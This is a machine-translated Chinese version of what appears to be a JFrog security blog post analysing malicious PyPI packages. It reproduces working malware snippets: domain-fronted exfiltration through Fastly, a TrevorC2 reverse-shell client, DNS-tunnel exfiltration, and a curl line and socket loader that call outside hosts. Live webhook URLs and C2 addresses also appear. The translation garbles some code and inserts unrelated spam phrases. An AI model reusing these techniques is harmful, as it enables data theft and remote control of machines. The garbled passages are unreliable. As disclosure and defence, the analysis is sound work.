Python恶意软件在新的泄露技术中模仿签名PyPI流量

Python恶意软件在新的泄露技术中模仿签名PyPI流量

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,向存储库维护者报告易受攻击和恶意的包。今年早些时候我们披露多个恶意软件包目标是下载了大约3万次的开发者的私人数据。今天,我们将分享我们最近发现并向PyPI维护者披露的11个新恶意软件软件包的详细信息(他们立即删除了它们)。

根据我们的最新发现,在这篇博文中,我们重点介绍了Python恶意软件开发人员使用的一些更高级的技术,这些技术可以避免被检测到,并留在存储库中,以便感染尽可能多的机器。

报告包

#的
下载¹
自动检测指标 描述
importantpackage
important-package
6305
12897
带有模糊输入的Shell进程

隐藏连接回壳到psec.forward.io.global.prod.fastly.net,使用trevorc2客户
ppt 10001 ²可疑的版本 使用DNS发送主机名+“|”+ os.getcwd () + ' | ' + str (self.get_wan_ip ()) + + local_ip_str“|”
ipboards 946 敏感文件处理

可疑的版本

依赖混淆,发送用户信息(用户名,主机名)通过DNS隧道到b0a0374cd1cb4305002e.d.requestbin.net
owlmoon 3285 eval使用混淆的输入 不和谐令牌窃取木马。将令牌发送到

https://discord.com/api/webhooks/875931932360331294/wA0rLs3xX_2JgqlfqEfpYoL9zer_Qs7hpsMbwaDl6-UByE_ZRHiXm0t1lr-o_3RFBqBR

DiscordSafety 557 执行使用混淆的输入 不和谐令牌窃取木马。将令牌发送到

https://tornadodomain.000webhostapp.com/stlr.php?token=

trrfab 287 敏感文件处理

可疑的版本

依赖混淆,发送用户信息(id,主机名,/etc/passwd, /etc/hosts, /home)到yxznlysc47wvrb9r9z211e1jbah15q.burpcollaborator.net
10 cent10
10 cent11
490
490
壳牌产卵

可疑的版本

连接回shell到硬编码地址104.248.19.57
yandex-yt 4183 可疑的版本 打印pwned消息并指向https://nda.ya.ru/t/iHLfdCYw3jCVQZ,可能是恶意域名(目前似乎不活跃)
yiffparty 1859 eval使用混淆的输入 不和谐令牌窃取木马。将令牌发送到

https://discord.com/api/webhooks/875931932360331294/wA0rLs3xX_2JgqlfqEfpYoL9zer_Qs7hpsMbwaDl6-UByE_ZRHiXm0t1lr-o_3RFBqBR

¹直接取自pepy.tech
²版本号表示a依赖关系混乱攻击

importantpackage -Connectback具有新颖渗漏的外壳

importantpackage包含恶意代码,使用一些巧妙的技术来逃避基于网络的检测。

滥用CDN TLS终端进行数据泄露

第一个技巧是使用急剧CDN将与C2服务器的通信伪装成与pypi.org.恶意软件的通信非常简单:

url = " https://pypi.python.org " + " /图片”+“?”+ "guid=" + b64_payload r = request。请求(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

此代码导致将HTTPS请求发送到pypi.python.org(这与向PyPI发出的合法请求没有区别,)后来由CDN作为HTTP请求重路由到C2服务器psec.forward.io.global.prod.fastly.net(反之亦然,允许双向通信)。

因此,发出的加密请求看起来像这样

外发加密请求

(注意,通信使用了pypi.org的所有原始加密参数)

但是经过CDN后,后端(C2)服务器将接收请求未加密的

后端服务器未加密请求

这是如何以及为什么起作用的?

我们可以从下面的图表中看到

滥用CDN TLS终端进行数据泄露

PyPI基础设施托管在Fastly CDN上。此主机使用清漆透明HTTP代理缓存客户端和后端之间的通信。交通首先进入aTLS终结者用于解密³,因此Varnish代理可以检查HTTP数据包的内容。代理分析来自用户请求的HTTP报头,并将请求重定向到相应的后端宿主头。然后,这个过程以相反的方向重复,允许恶意软件模仿与PyPI的双工通信。

因此,命令与控制(C2)会话被加密,并使用合法的服务器证书进行签名,使其与与合法的PyPI资源通信无法区分。2022世界杯阿根廷预选赛赛程

TLS终止器持有相关主机的TLS私有(解密)密钥,在本例中为pypi.org

请注意,在Fastly上注册域名非常容易,甚至可以在某种程度上匿名完成(因为该服务是免费的,直到您达到一定的流量阈值)。因此,这种技术不需要攻击者提供任何特殊资源。2022世界杯阿根廷预选赛赛程

也就是说,我们不会在Fastly中将此技术标记为软件漏洞,因为可以合理地假设宿主标头没有变形。添加有状态数据包检查来抵消这种技术可能会对数据吞吐量产生很大影响,这应该是CDN的主要考虑因素。

考虑到上述所有因素,这种技术确实有其局限性。例如,在构造XHR根据…RFC宿主头文件不能被构造XHR的脚本操作。这是幸运的,因为否则cookie可能会被恶意网页泄露,依靠TLS终止来接收来自用户请求的解密数据,否则这些数据将使用预期主机(例如pypi.org)的TLS密钥加密。

使用TrevorC2的基于http的命令和控制

除了Hosts头技术,恶意软件开发人员还使用了TrevorC2框架实现一个屏蔽命令和控制客户端。使用这个框架,客户端以一种看起来类似于标准网站浏览的方式联系服务器,使流量更加模糊。客户端以随机间隔发送请求,并将有效负载隐藏到典型的HTTP GET请求中。例如,一个典型的请求有以下形式:https://pypi.python.org/images/guid= < base64_encoded_payload >

恶意软件开始与C2服务器通信,发送包含受感染计算机主机名的请求。如果服务器决定继续会话,恶意软件通过HTTP建立一个反向shell,使攻击者完全控制受感染的机器。

这可以在下面的代码片段中看到

HTML = req。get(SITE_URL + ROOT_PATH_QUERY) parse = html.decode().split(")[0]如果主机名在parse: parse =解析。Split (hostname + "::::")[1] #执行我们解析的命令proc = subprocess。Popen(parse, shell=True, stdout=subprocess)。PIPE, stderr=subprocess.PIPE) stdout_value = proc. communication ()[0] stdout_value = (hostname + "::::" + str(stdout_value)).encode('utf-8') stdout_value = base64.b64encode(stdout_value).decode('utf-8') # PIPE out stdout和base64编码然后通过查询字符串参数html = req请求。post(SITE_URL + SITE_PATH_QUERY + "?")+ QUERY_STRING, data = stdout_value)

ipboards & pptest -通过dns隧道过滤

恶意软件开发人员使用的另一种流行的网络规避类型是DNS隧道.虽然这不是一种新技术,但这是我们第一次看到这种规避方法被用于上传到PyPI的恶意软件包中。顾名思义,这种技术使用DNS请求作为受害者计算机和C2服务器之间的通信通道。

当DNS服务器接收到带有域的请求时,它会尝试在其数据库中查找相应的IP地址。如果没有关于此域的记录,则服务器将请求重定向到地址中的第一个已知域。

因此,攻击者可以用ASCII编码信息发送到C2服务器,将其添加到他/她自己的域名并发送DNS查询。(合法的)DNS服务器将把这个包重定向到C2服务器。

例如,ipboards包中存在以下恶意代码:

#将收集到的信息编码为十六进制字符串payload=ip+';'+username+';'+hostname+';'+str(now)+';'+path+';'+packagename+';'+hostFile payload=hexlify(bytes(payload)) #将有效载荷分解为50字节的块。chunks = [payload[i:i+50] for i in range(0, len(payload), 50)] #通过DNS请求将块发送到chunk中:DNS .resolver.query(pd.decode("utf-8") + DNS,'A')

这段代码可能生成如下所示的域名:69703 a75736572617474686576756c6e657261626c656d616368696e65.b0a0374cd1cb4305002e.d.requestbin.net.该域名将作为DNS查询的一部分发送到合法的DNS服务器。

因为DNS服务器不知道整个域的地址,但知道的地址b0a0374cd1cb4305002e.d.requestbin.net,它会将整个请求重定向到该域(即C2服务器),并且C2服务器可以从前缀字符串-中捞出有效负载69703 a75736572617474686576756c6e657261626c656d616368696e65

owlmoon和DiscordSafety -木马劫持不和令牌

正如我们的以前的网站在美国,很多恶意软件包都以Discord用户为目标,窃取他们的身份验证令牌。这些恶意软件包大多基于众所周知的开源“窃取实用程序”,从技术角度来看并不是很有趣。然而,有时他们在逃避方面更有创意。

我们看到的一个有趣的例子是将恶意代码隐藏为依赖项。该恶意软件由两部分组成:

  1. 窃取令牌的恶意软件包,相对容易检测
  2. 一个“合法”的包,可以通过输入错误或依赖关系混淆来安装,它不包含任何有害的功能。相反,它只是指定要导入的恶意包(在安装时)作为组件的一部分install_requires关键词:distutilssetup . py):
install_require =['requests', 'beautifulsoup4', 'owlmoon',]

在这种情况下,owlmoon是包含实际的Discord令牌劫持逻辑的恶意包。

寻找漏洞赏金的“恶意软件”包

亚历克斯Birsan证明了供应链错误配置可以获得大量的奖励,bug猎人开始用他们的包淹没存储库,试图利用typposquatting和依赖混淆漏洞。这个春季的一个例子——用户remindsupplychainrisks上传了5000多个山寨包到PyPI和npm仓库。这些类型的软件包一直出现在存储库中——通常,它们具有相对无害的功能,只是在软件包安装后发送有关系统的非pii数据(以便作者可以索取赏金):

操作系统。System ('curl https://898b5ca5e76134be965acd[.]bufferover[.]run/yow_utils/$(whoami | base64)/$(hostname -f | base64)')

在其他情况下,很难将它们与恶意软件区分开来。例如,包裹distutil显然是在试图对这个众所周知的软件包进行打字攻击distutils.这个包确实有一个“不要下载这个”的描述,但是当调用时由于印刷错误而触发安装时,这个描述是不可见的皮普(通过命令行或requirements.txt文件)。的功能distutil包具有极高的安全性影响(超过要求bug赏金的必要)。安装后,包立即尝试连接到IP地址,从中读取编码的有效负载,并将有效负载执行为Python代码

import socket,zlib,base64,struct,time for range(10): try: s=socket.socket(2,socket. sock_stream) .connect(('192.168.1.69',4444)) break except: time.sleep(5) l=struct.unpack('>I',s.r recv(4))[0] d=s.r recv(l) while len(d)

尽管我们的恶意代码检测器标记了相当多的这些包,但我们不希望报告所有这些包,因为我们JFrog Security支持这些漏洞赏金工作。因此,我们将仅在以下情况下报告此类软件包,其中它们是边缘恶意软件:

  1. 包的描述并没有明确提到这个包是用于安全测试的
  2. 包负载执行不必要的侵入性操作(例如connectback shell,报告敏感数据,如密码等)。

结论

虽然这组恶意软件包可能不像我们之前发现的那样具有“牙齿”,但值得注意的是,它们执行的复杂程度越来越高。它不是在光天化日之下伸手去拿你的钱包——但这些软件包中有更多的诡计,其中一些甚至可能在最初的侦察之后设置后续攻击,而不是运行一个高度妥协的有效载荷作为开始。

请继续关注

除了暴露新安全漏洞通过自动安全扫描,JFrog为开发人员和安全团队提供了轻松访问其软件最新相关信息的方法JFrog x光.继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁。

问题吗?想法吗?联络我们:research@www.si-fil.com如有任何查询。

阅读更多: